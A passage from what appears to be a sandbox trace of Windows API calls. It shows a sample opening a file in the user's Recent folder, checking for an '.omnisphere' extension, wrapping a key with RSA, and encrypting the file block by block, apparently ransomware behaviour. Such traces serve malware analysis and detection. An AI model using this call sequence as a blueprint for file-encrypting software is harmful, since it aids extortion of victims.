cFileName="YznNfbrntMwZcMW.lnk", cAlternateFileName="YZNNFB~1.LNK")) returned 1 [0127.509] GetProcessHeap () returned 0x1600000 [0127.510] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0127.510] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="YznNfbrntMwZcMW.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk" [0127.510] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yznnfbrntmwzcmw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.510] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1587) returned 1 [0127.510] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x10f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.510] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0127.510] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x633, lpName=0x0) returned 0x288 [0127.510] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.510] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.510] CloseHandle (hObject=0x288) returned 1 [0127.510] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.511] GetTickCount () returned 0x115fd0a [0127.512] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668e78) returned 1 [0127.512] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639568) returned 1 [0127.512] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.512] CryptDestroyKey (hKey=0x1639568) returned 1 [0127.512] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0127.512] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x633, lpName=0x0) returned 0x288 [0127.512] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x633) returned 0x1480000 [0127.513] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0127.513] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396e8) returned 1 [0127.513] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.513] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.513] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.513] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.513] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.513] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.513] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.513] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.514] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.514] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.514] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.514] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.514] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.514] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.514] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.514] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.586] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.587] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.588] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 